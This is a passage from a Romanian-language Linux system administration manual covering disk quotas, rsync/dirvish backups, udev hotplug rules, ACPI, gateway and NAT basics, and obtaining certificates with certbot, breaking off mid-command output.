Quotas este un sistem de cote, care permite limitarea spațiului pe disc alocat unui utilizator sau unui grup de
utilizatori. Pentru configurare, trebuie să aveți un nucleu care să îl suporte (compilat cu opțiunea
CONFIG_QUOTA) — așa cum este cazul nucleelor Debian. Programul de gestionare a cotelor se găsește în
pachetul Debian quota.
Pentru a activa quota într-un sistem de fișiere, trebuie să indicați opțiunile usrquota și grpquota din
/etc/fstab pentru quotas pentru utilizator și respectiv pentru grup. Repornirea computerului va actualiza
apoi cotele în absența activității pe disc (o condiție necesară pentru contabilitatea corectă a spațiului pe disc
deja utilizat).
Comanda edquota user (sau edquota -g group) vă permite să modificați limitele în timp ce examinați
spațiul discului curent de utilizare.

ÎN DETALIU Programul setquota poate fi utilizat într-un script pentru a schimba automat multe cote. Pagina sa de manual
Definirea cotelor cu un script setquota(8) detaliază sintaxa de utilizat.

Sistemul de cote vă permite să setați patru limite:

• două limite (denumite “soft” și “hard”) se referă la numărul de blocuri consumate. Dacă sistemul de
fișiere a fost creat cu o dimensiune a unui block de 1 kibibyte, un block conține 1024 bytes din același
fișier. Blocurile nesaturate induc astfel pierderi de spațiu pe disc. O quota de 100 blocks, care teoretic
permite stocarea a 102.400 bytes, va fi totuși saturată cu doar 100 de fișiere de 500 bytes fiecare,
reprezentând doar 50.000 de bytes în total.
• două limite (soft și hard) se referă la numărul de inode-uri consumate. Fiecare fișier ocupă cel puțin
un inod pentru a stoca informații despre acesta (permisiuni, proprietar, marca de timp a ultimului
acces etc.). Prin urmare, este o limită la numărul de fișiere utilizator.
O limită “soft” poate fi depășită temporar; utilizatorul va fi pur și simplu avertizat că depășește cota prin
comanda warnquota, care este invocată de obicei de cron. O limită “hard” nu poate fi depășită niciodată:
sistemul va refuza orice operațiune care va determina depășirea unei cote stricte.

VOCABULAR Sistemul de fișiere împarte hard disk-ul în blocuri — mici zone alăturate. Mărimea acestor blocuri este definită
Blocuri și inode-uri în timpul creării sistemului de fișiere și, în general, variază între 1 și 8 kibibytes.
Un bloc poate fi utilizat fie pentru a stoca datele reale ale unui fișier, fie pentru meta-date utilizate de sistemul
de fișiere. Printre aceste meta-date, veți găsi mai ales inode. Un inode utilizează un bloc de pe hard disk (dar
acest bloc nu este luat în considerare în cota de bloc, doar în cota inode) și conține atât informațiile din fișierul
căruia îi corespunde (nume, proprietar, permisiuni etc.) cât și indicatorii către blocurile de date care sunt de fapt
utilizate. Pentru fișierele foarte mari care ocupă mai multe blocuri decât este posibil să se facă referire într-un
singur inode, există un sistem de blocuri indirecte; inode-ul face referire la o listă de blocuri care nu conțin în
mod direct date, ci o altă listă de blocuri.

Cu comanda edquota -t, puteți defini o “perioadă de grație” autorizată maximă în care poate fi depășită o
limită soft. După această perioadă, limita soft va fi tratată ca o limită, iar utilizatorul va trebui să își reducă
utilizarea spațiului pe disc în această limită pentru a putea scrie ceva pe hard disk.

ÎN DETALIU Pentru a configura automat o cotă pentru utilizatori noi, trebuie să configurați un utilizator de șablon (cu
Configurarea unei cote edquota sau setquota) și să indicați numele utilizatorului în variabila QUOTAUSER din fișierul
implicite pentru utilizatorii noi /etc/adduser.conf. Această configurație de cote va fi aplicată automat fiecărui utilizator nou creat cu
comanda adduser.

9.10. Backup
Realizarea copiilor de rezervă este una dintre principalele responsabilități ale oricărui administrator, dar este
un subiect complex, care implică instrumente puternice, adesea dificil de stăpânit.
Există multe programe, cum ar fi amanda, bacula, BackupPC. Acestea sunt sistem client/server cu multe
opțiuni, a căror configurare este destul de dificilă. Unele dintre ele oferă interfețe web prietenoase pentru a le
atenua. Însă Debian conține zeci de alte programe de recuperare care acoperă toate cazurile de utilizare
posibile, după cum o căutare cu apt-cache search backup poate confirma cu ușurință.
În loc să detalieze unele dintre ele, această secțiune va prezenta perspectiva administratorului de la Școala
Generală atunci când a definit strategia de backup.

182
La Școala Generală, copiile de rezervă au două obiective: recuperarea fișierelor șterse eronat și restabilirea
rapidă a oricărui computer (server sau desktop) al cărui hard disk s-a stricat.

9.10.1. Recuperarea cu rsync

Recuperările pe bandă fiind considerate prea lente și costisitoare, datele vor fi salvate pe hard disk-uri pe un
server dedicat, pe care utilizarea software RAID (a se vedea secțiunea 12.1.1. “Software RAID” pagina 254) va
proteja datele de pe un hard disk defect. Calculatoarele desktop nu sunt salvate individual, deși utilizatorii sunt
informați că vor fi protejate conturile lor personale de pe server-ul de fișiere al departamentului lor. Comanda
rsync (din pachetul cu același nume) este folosită zilnic pentru a face copii de rezervă pentru aceste server-
e diferite.

NOȚIUNI DE BAZĂ O legătură durabilă, spre deosebire de o legătură simbolică, nu poate fi diferențiată de fișierul legat. Crearea unei
Hard link, un al doilea nume legături durabile este în esență aceeași cu a da unui fișier existent un al doilea nume. Acesta este motivul pentru
pentru fișier care ștergerea unei legături durabile elimină doar unul dintre numele asociate fișierului. Atâta timp cât un alt
nume este încă atribuit fișierului, datele din acesta rămân prezente pe sistemul de fișiere. Este interesant de
menționat că, spre deosebire de o copie, legătura hard nu ocupă spațiu suplimentar pe hard disk.
O legătură durabilă este creată cu comanda ln target link. Fișierul link este apoi un nou nume pentru
fișierul țintă. Legăturile durabile nu pot fi create decât pe același sistem de fișiere, în timp ce legăturile simbolice
nu fac obiectul acestei limitări.

Spațiul disponibil pe hard disk interzice implementarea unei copii de rezervă complete zilnice. Ca atare,
comanda rsync este precedată de o duplicare a conținutului copiei de rezervă anterioare cu legături
durabile, care împiedică utilizarea unui spațiu prea mare pe hard disk. Procesul rsync înlocuiește doar
fișierele care au fost modificate de la ultima copie de rezervă. Cu acest mecanism, un număr mare de copii
de rezervă pot fi păstrate într-un spațiu mic. Întrucât toate copiile de rezervă sunt imediat disponibile și
accesibile (de exemplu, în diferite directoare ale unei anumite părți din rețea), puteți face rapid comparații
între două date furnizate.
Acest mecanism de recuperare este ușor de implementat cu programul dirvish . Utilizează un spațiu de
stocare de rezervă (“bank” în vocabularul său), în care plasează copii cronometrate ale seturilor de fișiere de
rezervă (aceste seturi se numesc “vaults” (seifuri) în documentația dirvish).
Configurația principală este în fișierul /etc/dirvish/master.conf. Definește locația spațiului de stocare
a copiei de rezervă, lista “seifurilor” de gestionat și valorile implicite pentru expirarea copiilor de rezervă.
Restul configurației se află în fișierele bank/vault/dirvish/default.conf și conține configurația
specifică pentru setul corespunzător de fișiere.

Exemplul 9.3 Fișierul /etc/dirvish/master.conf

bank:
/backup
exclude:
lost+found/
core
*~
Runall:
root 22:00
expire-default: +15 days
expire-rule:
# MIN HR DOM MON DOW STRFTIME_FMT
* * * * 1 +3 months
* * 1-7 * 1 +1 year
* * 1-7 1,4,7,10 1

Setarea bank indică directorul în care sunt stocate copiile de rezervă. Setarea exclude vă permite să
indicați fișierele (sau tipurile de fișiere) de excludere de la backup. Runall este o listă de seturi de fișiere la
copie de rezervă cu o marcă de timp pentru fiecare set, care vă permite să atribuiți data corectă a copiei, în
cazul în care copia de rezervă nu este declanșată exact la momentul alocat. Trebuie să indicați un timp chiar
înainte de timpul de execuție real (care este, în mod implicit, 10:04 pm în Debian, conform
/etc/cron.d/dirvish). În cele din urmă, setările expire-default și expire-rule definesc politica
de expirare a copiilor de rezervă. Exemplul de mai sus păstrează pentru totdeauna copiile de rezervă care
sunt generate în prima duminică a fiecărui trimestru, șterge după un an cele din prima duminică a fiecărei
luni și după 3 luni cele din alte duminici. Alte backup-uri zilnice sunt păstrate timp de 15 zile. Ordinea regulilor

183
contează, Dirvish folosește ultima regulă de potrivire sau expire-default, dacă nu se potrivesc alte
expire-rule.

ÎN PRACTICĂ Normele de expirare nu sunt folosite de dirvish-expire pentru a-și face treaba. În realitate, regulile de
Expirare programată expirare sunt aplicate la crearea unei noi copii de rezervă pentru a defini data de expirare asociată cu acea copie.
dirvish-expire elimină pur și simplu copiile stocate și șterge cele pentru care a trecut data de expirare.

Exemplul 9.4 Fișierul /backup/root/dirvish/default.conf

client: tecuci.scoalagenerala.com
tree: /
xdev: 1
index: gzip
image-default: %Y%m%d
exclude:
/var/cache/apt/archives/*.deb
/var/cache/man/**
/tmp/**
/var/tmp/**
*.bak

Exemplul de mai sus specifică setul de fișiere de recuperat: acestea sunt fișierele de pe mașina
tecuci.scoalagenerala.com (pentru recuperare de date locale, pur și simplu specificați numele mașinii locale,
așa cum este indicat de hostname), în special cele din arborele rădăcină (tree: /), cu excepția celor
enumerate în exclude. Copia de rezervă va fi limitată la conținutul unui sistem de fișiere (xdev: 1). Nu va
include fișiere din alte puncte de montare. Va fi generat un index de fișiere salvate (index: gzip), iar
imaginea va fi denumită în funcție de data curentă (image-default: %Y%m%d).
Există multe opțiuni disponibile, toate documentate în pagina de manual dirvish.conf(5). Odată aceste fișiere
de configurare sunt organizate, trebuie să inițializați fiecare set de fișiere cu comanda dirvish --vault
vault --init. De acolo, la invocarea zilnică a dirvish-runall se va crea automat o nouă copie de
rezervă imediat după ce au fost șterse cele care au expirat.

ÎN PRACTICĂ Când dirvish trebuie să salveze datele pe o mașină de la distanță, va folosi ssh pentru a vă conecta la acesta și
Copie de rezervă de la distanță va începe rsync ca server. Acest lucru necesită ca utilizatorul root să se poată conecta automat la acesta.
prin SSH Utilizarea unei chei de autentificare SSH permite tocmai asta (vedeți secțiunea 9.2.1.1. “Autentificarea bazată pe
cheie” pagina 170).

9.10.2. Restaurarea mașinilor fără copii de rezervă

Calculatoarele de birou, care nu au avut o opțiune de recuperare, vor putea ușor să facă o reinstalare din
DVD-ROM-urile personalizate pregătite cu Simple-CDD (a se vedea secțiunea 12.3.3. “Simple-CDD: soluția la
pachet” pagina 282). Din moment ce aceasta efectuează o instalare de la zero, pierde orice personalizare care
se poate face după instalarea inițială. Acest lucru este bine, deoarece sistemele sunt conectate la un director
LDAP central pentru conturi și majoritatea aplicațiilor desktop sunt preconfigurate datorită dconf (vedeți
secțiunea 13.3.1. “GNOME” pagina 294 pentru mai multe informații despre asta).
Administratorii Școlii Generale sunt la curent cu limitele din politica de backup. Deoarece nu pot proteja
copierea de rezervă pe bandă a server-ului, ca într-un seif ignifug, au plasat-o într-o compartiment separat,
astfel încât un dezastru, cum ar fi un incendiu în camera server-ului, să nu distrugă copiile de rezervă
împreună cu orice altceva. Mai mult, fac o copie de rezervă incrementală pe DVD-ROM o dată pe
săptămână — sunt incluse doar fișierele care au fost modificate de la ultima copie de rezervă.

ÎN DETALIU Multe servicii (cum ar fi bazele de date SQL sau LDAP) nu pot fi protejate prin simpla copiere a fișierelor lor
Copiere de rezervă a serviciilor (cu excepția cazului în care sunt întrerupte corespunzător în timpul creării copiilor de rezervă, ceea ce este
SQL și LDAP adesea problematic, deoarece acestea sunt destinate să fie disponibile în orice moment). Ca atare, este necesar să
folosiți un mecanism de “export” pentru a crea o “descărcare de date“ care poate fi salvat în siguranță. Acestea
sunt adesea destul de mari, dar se comprimă bine. Pentru a reduce spațiul necesar de stocare, veți stoca doar un
fișier text complet pe săptămână și un diff în fiecare zi, care este creat cu o comandă de tip diff
file_from_yesterday file_from_today. Programul xdelta produce diferențe incrementale față de
depozitele binare.

184
 CULTURĂ Istoric, cel mai simplu mijloc de a face o copie de rezervă pe Unix a fost să stocați o arhivă TAR pe bandă.
TAR, standardul pentru copii de Comanda tar și-a primit chiar numele de la “Tape ARchive”.
rezervă pe bandă

9.11. Cuplare la cald: hotplug

9.11.1. Introducere
Subsistemul de kernel, hotplug gestionează dinamic adăugarea și eliminarea dispozitivelor, prin încărcarea
driver-elor corespunzătoare și crearea fișierelor de dispozitiv corespunzătoare (cu ajutorul udevd). Cu un
hardware modern și virtualizare, aproape totul poate fi conectat la cald: de la perifericele obișnuite
USB/PCMCIA/IEEE 1394 la hard disk-urile SATA, dar și procesorul și memoria.
Nucleul are o bază de date care asociază fiecare ID de dispozitiv cu driverul necesar. Această bază de date
este utilizată în timpul pornirii pentru a încărca toate driver-ele pentru dispozitivele periferice detectate pe
diferitele magistrale (buses), dar și atunci când este conectat un dispozitiv suplimentar de conectare la cald.
Odată ce dispozitivul este gata de utilizare, un mesaj este trimis la udevd, astfel încât să poată crea intrarea
corespunzătoare în /dev/.

9.11.2. Problema Denumirii

Înainte de apariția cuplărilor la cald, a fost ușor să atribuiți un nume fix unui dispozitiv. S-a bazat pur și simplu
pe poziția dispozitivelor în magistrala respectivă. Dar acest lucru nu este posibil atunci când astfel de
dispozitive pot veni și pleca din magistrală. Cazul tipic este utilizarea unei camere digitale și al unui stick
USB, care ambele apar pe computer ca unități de disc. Primul conectat poate fi /dev/sdb și al doilea
/dev/sdc (/dev/sda reprezintând propriul hard disk al computerului. Numele dispozitivului nu este fixat;
depinde de ordinea în care sunt conectate dispozitivele.
În plus, tot mai multe drivere folosesc valori dinamice pentru numerele majore/minore ale dispozitivelor, ceea
ce face imposibilă înregistrarea statică a dispozitivelor date, deoarece aceste caracteristici esențiale pot
varia după o repornire.
udev a fost creat tocmai pentru a rezolva această problemă.

9.11.3. Cum funcționează udev

Când udev este notificată de kernel despre apariția unui dispozitiv nou, colectează diverse informații pe
dispozitivul dat consultând intrările corespunzătoare din /sys/, în special cele pe care le identifică în mod
unic (adresă MAC pentru o placă de rețea, număr de serie pentru unele dispozitive USB etc.).
Înarmat cu toate aceste informații, udev consultă apoi toate regulile cuprinse în /etc/udev/rules.d/ și /
lib/udev/rules.d/. În acest proces, decide cum să numească dispozitivul, ce legături simbolice să
creeze (pentru a-i da nume alternative) și ce comenzi să execute. Toate aceste fișiere sunt consultate, iar
regulile sunt evaluate în mod secvențial (cu excepția cazului în care un fișier folosește directive “GOTO”).
Astfel, pot exista mai multe reguli care corespund unui eveniment dat.
Sintaxa fișierelor de reguli este destul de simplă: fiecare rând conține criterii de selecție și alocări variabile.
Primele sunt utilizate pentru a selecta evenimente pentru care este nevoie să reacționeze, iar cel de-al
doilea definește acțiunea de luat. Toate sunt separate cu virgule, iar operatorul diferențiază implicit între un
criteriu de selecție (cu operatori de comparație, cum ar fi == or !=) sau o directivă de atribuire (cu operatori
precum =, += sau :=).
Operatorii de comparație sunt utilizați în următoarele variabile:
• KERNEL: numele pe care kernel-ul îl atribuie dispozitivului;
• ACTION: acțiunea corespunzătoare evenimentului (“add” când un dispozitiv a fost adăugat, ”remove”
când a fost eliminat);
• DEVPATH: calea de intrare /sys/ a dispozitivului.
• SUBSYSTEM: subsistemul de kernel care a generat cererea (există multe, dar câteva exemple sunt
“usb”, “ide”, “net”, “firmware”, etc.);
• ATTR{attribute}: conținutul fișierului attribute din directorul /sys/$devpath/ al dispozitivului.
Aici găsiți adresa MAC și alte identificatoare specifice autobuzului;

185
 • KERNELS, SUBSYSTEMS și ATTRS{attributes} sunt variații care vor încerca să corespundă
diferitelor opțiuni de pe unul dintre dispozitivele părinte ale dispozitivului curent;
• PROGRAM: deleagă testul programului indicat (true dacă returnează 0, false dacă nu). Conținutul de
ieșire standard al programului este stocat pentru a putea fi reutilizat prin testul RESULT;
• RESULT: execută teste la ieșirea standard stocată în ultimul apel la PROGRAM.
Operatorii potriviți pot folosi expresii model pentru a potrivi mai multe valori în același timp. De exemplu, *
se potrivește cu orice șir (chiar unul gol); ? se potrivește cu orice caracter, iar [] se potrivește cu setul de
caractere enumerate între parantezele pătrate (sau opusul acestuia dacă primul personaj este un punct de
exclamare și intervalele contigue de caracterele sunt indicate ca a-z).
În ceea ce privește operatorii de alocare, = atribuie o valoare (și înlocuiește valoarea curentă); în cazul unei
liste, aceasta este golită și conține doar valoarea atribuită. := face același lucru, dar previne modificările
ulterioare ale aceleiași variabile. În ceea ce privește +=, acesta adaugă un articol la o listă. Pot fi modificate
următoarele variabile:
• NAME: numele fișierului dispozitivului care va fi creat în /dev/. Numai prima sarcină contează;
celelalte sunt ignorate;
• SYMLINK: lista de legături simbolice care vor indica același dispozitiv;
• OWNER, GROUP și MODE definește utilizatorul și grupul care deține dispozitivul, precum și permisiunea
asociată;
• RUN: lista programelor de executat ca răspuns la acest eveniment.
Valorile alocate acestor variabile pot utiliza o serie de substituții:
• $kernel sau %k: echivalent cu KERNEL;
• $number sau %n: numărul de ordine al dispozitivului, de exemplu, pentru sda3, ar fi “3”;
• $devpath sau %p: echivalent cu DEVPATH;
• $attr{attribute} sau %s{attribute}: echivalent cu ATTRS{attribute};
• $major sau %M: numărul major de nucleu al dispozitivului;
• $minor sau %m: numărul minor de nucleu al dispozitivului;
• $result or %c: șirul de ieșire de la ultimul program invocat de PROGRAM;
• și, în final, %% și $$ pentru semnele procent și dolar.
Listele de mai sus nu sunt complete (includ doar cei mai importanți parametri), dar pagina de manual udev(7)
ar trebui să fie exhaustivă.

9.11.4. Un exemplu concret

Să luăm în considerare cazul unui simplu stick USB și să încercăm să îi atribuim un nume fix. În primul rând,
trebuie să găsiți elementele care îl vor identifica într-o manieră unică. Pentru aceasta, conectați-l și rulați
udevadm info -a -n /dev/sdc (înlocuind /dev/sdc cu numele real atribuit stick-ului).

# udevadm info -a -n /dev/sdc

[...]
looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4
⮩ :0:0/4:0:0:0/block/sdc':
KERNEL=="sdc"
SUBSYSTEM=="block"
DRIVER==""
ATTR{hidden}=="0"
ATTR{events}=="media_change"
ATTR{ro}=="0"
ATTR{discard_alignment}=="0"
ATTR{removable}=="1"
ATTR{events_async}==""
ATTR{alignment_offset}=="0"
ATTR{capability}=="51"
ATTR{events_poll_msecs}=="-1"
ATTR{stat}==" 130 0 6328 435 0 0 0
⮩ 0 0 252 252 0 0 0 0"
ATTR{size}=="15100224"
ATTR{range}=="16"
ATTR{ext_range}=="256"
ATTR{inflight}==" 0 0"
[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/

⮩ target4:0:0/4:0:0:0':

186
[...]
ATTRS{max_sectors}=="240"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':
KERNELS=="2-1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceProtocol}=="00"
ATTRS{bNumInterfaces}==" 1"
ATTRS{busnum}=="2"
ATTRS{quirks}=="0x0"
ATTRS{authorized}=="1"
ATTRS{ltm_capable}=="no"
ATTRS{speed}=="480"
ATTRS{product}=="TF10"
ATTRS{manufacturer}=="TDK LoR"
[...]
ATTRS{serial}=="07032998B60AB777"
[...]

Pentru a crea o nouă regulă, puteți utiliza teste pe variabilele dispozitivului, precum și pe cele ale unuia
dintre dispozitivele părinte. Cazul de mai sus ne permite să creăm două reguli ca acestea:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="

⮩ usb_key/disk"
KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="
⮩ usb_key/part%n"

După ce aceste regulile sunt stabilite într-un fișier numit, de exemplu,

/etc/udev/rules.d/010_local.rules, puteți pur și simplu să eliminați și să reconectați cheia USB.
Puteți vedea apoi că /dev/usb_key/dis reprezintă discul asociat cu cheia USB, iar
/dev/usb_key/part1 este prima partiție.

ÎN DETALIU La fel ca mulți demoni, udevd stochează jurnalele în /var/log/daemon.log. Însă nu este foarte detaliat
Depanarea configurației udev implicit și de obicei nu este suficient pentru a înțelege ce se întâmplă. Comanda udevadm control --
log-priority=info crește nivelul de detaliere și rezolvă această problemă. udevadm control --
log-priority=err revine la nivelul de detaliere implicit.

9.12. Gestionarea energiei: configurarea avansată și interfața

de alimentare (ACPI)
Tema managementului energiei este adesea problematică. Într-adevăr, suspendarea corectă a calculatorului
are nevoie să știe să pună în așteptare toate driverele dispozitivelor lui și să le reconfigureze corect la
trezire. Din păcate, există încă câteva dispozitive care nu pot hiberna bine sub Linux, deoarece producătorii
lor nu au furnizat specificațiile cerute.
Linux acceptă ACPI (Advanced Configuration and Power Interface) — cel mai recent standard în managementul
puterii. Pachetul acpid oferă un daemon care caută evenimente legate de gestionarea energiei (comutarea
între curentul alternativ și bateria unui laptop etc.) și care poate executa diverse comenzi ca răspuns.

AVEȚI GRIJĂ Driverul plăcii grafice este adesea vinovat atunci când starea de veghe nu funcționează corect. În acest caz, este
Plăca grafică și standby bine să testați cea mai recentă versiune a X.org graphics server.

După această imagine de ansamblu asupra serviciilor de bază comune mai multor sisteme Unix, ne vom
concentra asupra mediului mașinilor administrate: rețeaua. Multe servicii sunt necesare pentru ca rețeaua să
funcționeze corect. Acestea vor fi discutate în capitolul următor.

187
188
 Repere

Rețea
Gateway
TCP/IP
IPv6
DNS
Bind
DHCP
QoS
Obiectiv

189
Capitolul 10

10. Infrastructura Rețelei

Conţinut
Punct de ieșire 191 Rețea virtuală privată 197 Calitatea serviciului 202
Rutare dinamică 203 primary IPv6 204 Server de nume de domeniu (DNS) 205
DHCP 207 Instrumentele de diagnosticare a rețelei 208

Linux folosește întreaga moștenire Unix pentru rețelistică, și AcademiX oferă un set complet de instrumente
pentru crearea și gestionarea acestora. Acest capitol examinează aceste instrumente.

190
10.1. Gateway
Un un sistem, care leagă mai multe rețele, este gateway. Acest termen se referă adesea la “punctul de ieșire”
al unei rețele locale, o poartă pe calea obligatorie către toate adresele IP externe. Gateway-ul este conectat la
fiecare dintre rețelele pe care le leagă și acționează ca un router pentru a transmite pachete IP între diferitele
sale interfețe.

NOȚIUNI DE BAZĂ Majoritatea rețelelor folosesc în prezent protocolul IP (Internet Protocol). Acest protocol segmentează datele
Pachet IP transmise în pachete cu dimensiuni limitate. Fiecare pachet conține, pe lângă datele sale de sarcină utilă, o serie
de detalii necesare pentru rutarea corectă a acestuia.

NOȚIUNI DE BAZĂ Multe programe nu se ocupă ele însele de pachete, chiar dacă datele pe care le transmit nu călătoresc prin IP;
TCP/UDP folosesc adesea TCP (Transmission Control Protocol). TCP este un strat peste IP care permite stabilirea
conexiunilor dedicate fluxurilor de date între două puncte. Programele văd doar un punct de intrare în care datele
pot fi introduse cu garanția că aceleași date ies fără pierdere (și în aceeași secvență) în punctul de ieșire din
celălalt capăt al conexiunii. Deși se pot întâmpla mai multe tipuri de erori în straturile inferioare, acestea sunt
compensate de TCP: pachetele pierdute sunt retransmise, iar pachetele care sosesc de-a valma, în dezordine, (de
exemplu, dacă au folosit căi diferite) sunt ordonate în mod corespunzător.
Un alt protocol care se bazează pe IP este UDP (User Datagram Protocol). Spre deosebire de TCP, este orientat
pe pachete. Obiectivele sale sunt diferite: scopul UDP este doar de a transmite un pachet dintr-o aplicație în alta.
Protocolul nu încearcă să compenseze posibilele pierderi de pachete pe parcurs și nici nu asigură că pachetele
sunt primite în aceeași ordine ca și cele trimise. Principalul avantaj al acestui protocol este că latența este mult
îmbunătățită, deoarece pierderea unui singur pachet nu întârzie primirea tuturor pachetelor următoare până când
nu se retransmite cel pierdut.
TCP și UDP implică porturi, care sunt “numere de extensie” pentru stabilirea comunicării cu o anumită aplicație
pe o mașină. Acest concept permite păstrarea mai multor comunicații diferite în paralel cu același corespondent,
deoarece aceste comunicări pot fi distinse prin numărul de port.
Unele dintre aceste numere de port — standardizate de IANA (Internet Assigned Numbers Authority) — sunt
“binecunoscute” pentru că sunt asociate cu serviciile de rețea. De exemplu, portul TCP 25 este de obicei utilizat
de e-mail server.
➨ https://www.iana.org/assignments/service-names-port-numbers/service-
names-port-numbers.xhtml

Atunci când o rețea locală folosește o gamă de adrese private (care nu poate fi dirijată pe Internet), gateway-
ul trebuie să implementeze address masquerading pentru ca mașinile din rețea să poată comunica în lumea
exterioară. Operația de mascare este un fel de proxy care funcționează la nivel de rețea: fiecare conexiune
de ieșire dintr-o mașină internă este înlocuită cu o conexiune din gateway-ul propriu-zis (deoarece gateway-ul
are o adresă externă, de rutare), datele trecând prin conexiunea mascată este trimisă la cea noua, iar datele
care revin în răspuns sunt transmise către conexiunea mascată cu aparatul intern. Gateway-ul folosește o
gamă de port-uri TCP dedicate în acest scop, de obicei cu un număr foarte mare (peste 60000). Fiecare
conexiune care provine de la o mașină internă apare apoi în lumea exterioară ca o conexiune care vine dintr-
unul din aceste port-uri rezervate.

CULTURĂ RFC 1918 definește trei game de adrese IPv4 care nu sunt destinate a fi rutate pe Internet, ci folosite doar în
Intervalul adreselor private rețelele locale. Primul, 10.0.0.0/8 (a se vedea bara laterală “Concepte esențiale de rețea (Ethernet, adresă IP,
subrețea, difuzare)” pagina 137), este un interval de clasă A (cu 224 adrese IP). Al doilea, 172.16.0.0/12, adună
16 intervale de clasă B (172.16.0.0/16 până la 172.31.0.0/16) , fiecare conținând 216 adrese IP. În cele
din urmă, 192.168.0.0/16 este un interval de clasă B (gruparea a 256 de clase C, 192.168.0.0/24 la
192.168.255.0/24, cu fiecare din cele 256 de adrese IP ).
➨ http://www.faqs.org/rfcs/rfc1918.html

Gateway-ul poate efectua, de asemenea, două tipuri de traducere a adresei de rețea (network address
translation, sau NAT pentru scurt). Primul tip, Destinație NAT (DNAT) este o tehnică de modificare a adresei IP
de destinație (și/sau a port-ului TCP sau UDP) pentru o conexiune (în general) de intrare. Mecanismul de
urmărire a conexiunii modifică, de asemenea, următoarele pachete în aceeași conexiune pentru a asigura
continuitatea în comunicare. Al doilea tip de NAT este Source NAT (SNAT), dintre care mascarea este un caz
particular; SNAT modifică adresa IP sursă (și/sau portul TCP sau UDP) al unei conexiuni (în general) de
ieșire. În ceea ce privește DNAT, toate pachetele din conexiune sunt gestionate corespunzător prin
mecanismul de urmărire a conexiunii. Rețineți că NAT este relevant numai pentru IPv4 și spațiul său limitat
de adrese; În IPv6, disponibilitatea largă a adreselor reduce considerabil utilitatea NAT, permițând
direcționarea directă a tuturor adreselor “interne” pe internet (acest lucru nu implică faptul că mașinile interne
sunt accesibile, deoarece paravanele de protecție intermediare pot filtra traficul).

191
 NOȚIUNI DE BAZĂ Redirecționarea porturilor. O aplicație concretă a DNAT este port forwarding. Conexiunile primite la un port dat
Port forwarding al unei mașini sunt transmise către un port de pe o altă mașină. Poate exista și alte soluții pentru obținerea unui
efect similar, în special la nivelul aplicației cu ssh (a se vedea secțiunea 9.2.1.3. “Crearea tunelurilor criptate cu
port forwarding” pagina 171) sau redir.

Ajunge cu teoria, să revenim la practică. Transformarea unui sistem Debian într-un nod de comunicații este o
simplă problemă de activarea opțiunii corespunzătoare în kernel-ul Linux, prin intermediul sistemului de
fișiere virtuale /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Această opțiune poate fi de asemenea activată automat la boot dacă /etc/sysctl.conf setează opțiunea
net.ipv4.conf.default.forwarding la 1.

Exemplu 10.1 Fișierul /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1

Același efect poate fi obținut pentru IPv6 prin simpla înlocuire a lui ipv4 cu ipv6 din comanda manuală și
folosirea liniei net.ipv6.conf.all.forwarding în /etc/sysctl.conf.
Activarea IPv4 masquerading este o operație ceva mai complexă care atrage după sine configurarea netfilter
firewall.
În mod similar, utilizarea NAT (pentru IPv4) necesită configurarea netfilter. Deoarece scopul principal al
acestei componente este filtrarea pachetelor, detaliile sunt enumerate în capitolul 14. “Securitate” pagina 305
(vedeți secțiunea 14.2. “Firewall sau filtrarea pachetelor” pagina 307).

10.2. Certificate X.509

Certificatele reprezintă un element important al multor servicii de rețea construite pe protocoale criptografice,
atunci când au nevoie de un fel de autentificare centrală.
Printre aceste protocoale, SSL (Secure Socket Layer) a fost inventat de Netscape pentru a securiza conexiunile
la web server-e. Ulterior a fost standardizat de IETF sub acronimul TLS (Transport Layer Security). De atunci
TLS a continuat să evolueze, iar în zilele noastre SSL este depreciat din cauza mai multor defecte de
proiectare care au fost descoperite.
Protocolul TLS urmărește în primul rând să ofere confidențialitate și integritate a datelor între două sau mai
multe aplicații informatice comunicante. Cel mai frecvent caz pe Internet este comunicarea dintre un client
(de exemplu, un web browser) și un server.
Pentru schimbul de informații este necesară o paritate cheie, care implică o cheie publică care include
informații despre identitatea proprietarului și se potrivește cu o cheie privată. Cheia privată trebuie păstrată
secretă, altfel securitatea este compromisă. Cu toate acestea, oricine poate crea o pereche de chei, poate
stoca orice identitate pe ea și se poate preface identitatea la alegere. O soluție implică conceptul de
autoritatea de certificare (Certification Authority - CA), formalizat de standardul X.509. Acest termen acoperă o
entitate care deține o pereche de chei de încredere cunoscută sub numele de root certificate. Acest certificat
este utilizat numai pentru semnarea altor certificate (perechi de chei), după ce au fost întreprinși pașii
corespunzători pentru a verifica identitatea stocată pe perechea de chei. Aplicațiile care utilizează X.509 pot
verifica apoi certificatele prezentate lor, dacă știu despre certificatele rădăcină de încredere.
Puteți implementa un CA (așa cum este descris în secțiunea 10.2.2. “Infrastructura cheii publice: easy-rsa”
pagina 192), dar dacă intenționați să utilizați certificatul pentru un web site, trebuie să vă bazați pe un CA de
încredere. Prețurile variază semnificativ, dar este posibil să se implementeze cheltuieli mari de securitate, cu
puțin sau deloc bani.

10.2.1. Crearea certificatelor de încredere gratuite

Multe programe creează și folosesc în mod implicit certificate snakeoil (vedeți bara laterală “Snake oil SSL
certificates” pagina 217). Din fericire, pachetul certbot aduce tot ce avem nevoie pentru a crea propriile noastre
certificate de încredere, furnizate de inițiativa “Lets Encrypt” (vedeți bara laterală “Inițiativa Let's Encrypt” pagina

192
194), care poate fi folosită și pentru agenții de transport poștal (Postfix) și agenții de livrare a poștei ( Dovecot, Cyrus
etc.).
Administratorii Școlii Generale doresc doar să creeze un certificat pentru web site-ul lor, care rulează pe
Apache. Există un Apache plugin convenabil pentru certbot care editează automat configurația Apache pentru a
servi certificatul obținut, astfel încât să îl folosească:

# apt install python-certbot-apache

[...]
# certbot --apache
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator apache, Installer apache
Enter email address (used for urgent renewal and security notices) (Enter 'c' to
